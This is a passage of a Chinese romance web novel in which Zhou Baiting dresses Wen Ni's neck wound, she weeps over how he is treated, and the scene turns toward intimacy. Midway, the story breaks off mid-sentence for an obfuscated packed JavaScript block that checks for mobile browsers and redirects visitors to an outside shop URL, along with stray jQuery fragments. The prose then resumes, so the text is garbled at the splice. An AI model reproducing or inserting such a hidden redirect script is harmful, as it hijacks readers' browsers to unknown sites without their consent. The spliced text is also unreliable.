月光从落地窗斜斜地打进来,把男人半边身子镀上一层银白色。
他站在料理台前,白衬衣的袖口挽到小臂,露出一截肌肉线条分明的小臂和那只还缠着纱布的手。
水珠从他左手指尖滴落,在大理石台面上砸出一小片亮晶晶的水痕。
他正认真地洗着草莓,一颗一颗,连蒂都摘得一干二净。
洗好后又拿起水果刀,将草莓横着一分为二切好,把草莓尖单独用盘子装起来搁在她面前,用银色叉子叉起一块儿喂到她嘴边。
“我看你晚上没怎么动筷子,你要是饿的话等会儿我给你做碗面。”
她就着他的手咬过,酸甜汁水在舌尖四溢,点头夸赞说好吃。
“好吃就成,明儿我让人多送点儿过来。”
这是周家自己的庄园里种的,纯天然,没有任何有害化学物质残留。
周柏梃两指又捻起一颗,弯身去喂尾巴摇成螺旋桨的小家伙。
小家伙一口咬过草莓尖尖,下一秒便欢快地朝温旎扑过去。
Riko:“汪汪!”妈妈吃,妈妈吃!
他眼疾手快,单手抱起跳上沙发,想用鼻筒去拱温旎的小家伙。
小家伙哼哼唧唧想要挣脱牵制,他揉揉她的脑袋,温声解释:“Riko,妈妈受伤了,这几天不可以舔妈妈知道吗?”
Riko仰头:“嗷呜~”我知道啦爸爸!
周柏梃弯唇,轻轻拍了拍小家伙的背,把她放在地上:“乖了,去院子里玩吧!”
温旎歪头看着这神奇的一幕,Riko怎么会对周柏梃这么亲近呢?
纪云朔当时用了将近半年时间才取得Riko的信任。
安抚好小狗,男人单膝跪在她身侧的沙发上,她不解抬眸。
“我看下伤口。”
他把手洗干净,消了一遍毒,动作轻柔地揭开她脖颈上的纱布。
很细的一条伤口,结着一层薄薄的痂,在女人瓷白如玉的肌肤上存在感格外强。
周柏梃只恨自己没把那畜生直接打死。
他挤了一点消炎药膏,轻轻抹涂着。动脉血管在他指腹下蓬勃跳动,如果当时刀刃再深一寸呢?他不敢想......
“我已经让王闻诤联系了医院美容科大夫,说这个程度的伤口护理得好,有95%的概率不会留疤。”
但小姑娘打小就爱美,他得把5%的留疤风险考虑进去。
“现在医美和激光技术这么发达,疤痕祛除也不难,如果实在不能让疤痕完全消失,我就去纹个和你一模一样的在脖子上,到时候......”
话未说完,很轻的一声啜泣在耳边响起。
周柏梃指尖一顿,垂眸便对上一双红的像是小兔子一般的眼睛。
“诶,宝贝儿,怎么眼睛红了?”
他想捧起她的脸,可指腹上还沾着药膏,他忙问:
“是不是脖子上的伤口疼?还是哪里不舒服?”
女人浓密卷翘的睫毛轻轻一颤,一滴晶莹的泪滚落在脸蛋儿中央,化作一条湿痕没入锁骨窝。
“不是。”
她就这么仰头看着他,粉唇颤抖,温软的眸子里水光荡漾。
周柏梃蹙眉:“那是我说错话了?”
她摇头,眸子里那层水光跟着荡开,露出下面那层浓浓的幽怨。
“明明每次做错事情的人不是你,怎么总是要你赔礼道歉?”她扑进他怀里,双臂紧紧抱着他的腰,脑袋埋在他胸前,声音哽咽,“周柏梃,这对你不公平,我会心疼。”
万籁俱寂,月色朦胧的夏夜,落地窗外的小狗在草坪上扑来扑去和佣人玩巡回游戏。
树影因风摇曳,小狗在此时矫健一跃,稳稳咬住飞盘,落地后得意地回望室内,飘逸的毛发在光下油光锃亮。
周柏梃无法用言语去形容他此时此刻内心的感受。就好像灵魂被一股巨大的冲击力撞出了身体,冲破层层桎梏,自由地飘在空中,睥睨着僵硬不堪的躯壳。
他已经记不清是多久之前,或许是十几年,或许更久。
每当准备做一件事时,他会问自己采取这种做法是否能保证公平。
问几次便发现,公平二字被创造出来,不是为了实现公平,而是为了让人相信世界上有公平的存在。而他恰恰就是这种幻觉的缔造者和拥护者。
于是他便不问了,开始走一步看十步,步步谋划,步步谨慎,生怕一子落错,满盘皆输。
为了顾全大局,他总是刻意忽略、压抑,甚至封闭自己的感受。他这么对自己,身边的人自然也这么对他。
久而久之,在所有人看来,他的感受不重要,重要的是事情是否得以体面的解决。
可现在,他惦记喜欢了这么多年,终于光明正大拥入怀里的姑娘,在为他所遭受到的不公而心疼。
她的眼睛在他胸前下了一场雨,水透过薄薄的衬衫布料渗入他心底,化作一股暖流涌向四肢百骸。
他用力回抱着她,笨拙无措地哄着:“不哭不哭,宝贝儿,就几杯酒的事儿,不算什么,不哭了啊。”
“怎么就不算什么,明明他们都欺负你一个......”
女人纤薄的肩膀微微抖动,从他胸前抬起头,眼皮嫣红,巴掌大的鹅蛋脸上满是泪痕。
他一颗心像是泡在一池子的梅子酒里,又酸又涩。
温旎一直都是个理智的姑娘,哭成这个样子,这般不依不饶为他伸张正义,肯定是真的心疼了。
“你向着我就成。”
他双手捧起她泪痕斑斑的脸,微微低头,两人鼻尖相抵。
或许是两人的眼睛离得太近,她眼尾的那抹红压进了他的眼底,他也没出息地开始哽咽,
“宝贝儿,我只有你,只要你向着我就成。除了你,我谁都不在乎。”
他的人生走到现在,外表烈火烹油,内里一片荒芜。无数个失眠的深夜,他心会忽然坠入一片孤寂,而后开始狂跳不止。
直到在梦里和她重逢,才能重归宁静。
曾经温旎迫不及待想要揭开戴在周柏梃脸上的那层面具。直至这一刻,她突然意识到,那不是他的面具,那是他完整人格的一部分。
那一部分令他平步青云的同时,也令他麻木不仁,已经与他血肉相连。
这世界上本没有窥不透的人,只有不愿意对你敞开的心。
她微微直起身子,脸颊两侧的碎发被眼泪浸得湿润,在他手背拖出一抹湿痕。
察觉到女人哭意渐止,周柏梃轻轻揉着她的后脑勺,轻声细语地同她解释道:
“宝贝儿,周家、江家和杨家之间利益牵扯太深,有时候小辈惹出来的事情长辈出面解决不合适,总
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628003|206288||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得有个合适的抗事儿人。”
温旎何尝不懂这些道理,但人偏起心来,是不讲任何道理的。
“怎么偏偏每次都是你?”她执起他的左手,擦干眼角的最后一滴泪,仰起头质问,“难不成周家和江家除了你就真的没有第二个能抗事儿的人了吗?”
“我年纪最大嘛!”周柏梃语气带了点笑,“所以有些事儿无论如何都绕不过我。左不过就是一场酒局,一场饭局,我早就适应了,不觉得辛苦。要是早知道会惹得你掉眼泪,这次我无论如何都不会出面。”
温旎赌气道:“我就是看不得你对别人低声下气。”
比起他的目中无人、张扬倨傲,她更不愿意看他伏低做小、低声下气。
她希望他背永远挺得笔直,永远都是云淡风轻、从容不迫。
“低声下气也好,卑躬屈膝也罢,只要事情能解决就成,对你有个交代,对你家里也有个交代。”
周柏梃起身去拿冰箱里拿了个冰袋用毛巾细致裹好。
温旎乖乖闭眼,眼皮传来冰冰凉凉的触感时,听他缓声调侃道:“只是没想到我的小老师居然是个爱哭鬼。”
温旎不满不反驳:“我只是心疼你。”
周柏梃低笑一声:“旎旎,我好开心,终于也有人来保护我了。”
灵魂共振之后的身体交融仿佛是顺理成章,水到渠成一般。
但事到临头,温旎还是不免觉得紧张。
这是她第二次来周柏梃的卧室,坐在那张她不久前才躺过的床上,双手紧攥着灰色的真丝床单,浴室哗啦啦的水声骤然停止,如鼓一般的心跳声无处躲藏。
没过多久,磨砂玻璃门上映出一道身材比例近乎完美的影子,她咽了咽口水,打着退堂鼓的同时又萌生出一股期待。
周柏梃站在镜子前,单手把湿漉漉的头发尽数往后捋,露出饱满额头和高耸的眉骨。
他双手撑在洗漱台的大理石台面上,舔了舔湿润的唇,目光一寸寸掠过自己的身材。
这几天事情多,加上手受伤,他没去健身房撸铁,肌肉线条和形状没有之前那么明显。
但好在他常年锻炼,之前攒下的基础够好,打眼一看依旧属于网上评选出来的最有性张力的男性身材类型——宽肩窄腰,胸肌紧实不夸张,人鱼线随着灯光变幻时隐时现。
食色性也,他得让温旎喜欢上他这具皮囊。
“呼——”他长舒一口气,随手扯过一条浴巾围在腰间,转身走出浴室。
浴室的门无声打开,充斥着雪松香的水汽在室内弥漫开来。
温旎背对着他坐在床边,双臂撑在身侧,雪白莹润的肌肤与黑色真丝吊带形成浓烈的视觉冲击,常年保持锻炼的习惯使得她身体曲线柔和优美。
从一个成年男人的性视角来看,温旎的身材和长相对他来说有着致命吸引力,更不用说她还拥有一颗极为性感的大脑。
他想,只要温旎勾勾手指,便会有大把毫不逊色于他的男人扑上去争抢讨她欢心。所以,他必须在各方面都做到极为出挑,才能将她留住。
蓦地落入一个湿凉凛冽的怀抱,温旎心猛颤一下,她咬了咬唇,犹豫道:“要不,等你手好了再......”
男人低笑一声,灼热粗重的呼吸喷洒在她耳廓,他咬着她的耳垂,轻声道:
“不碍事儿。”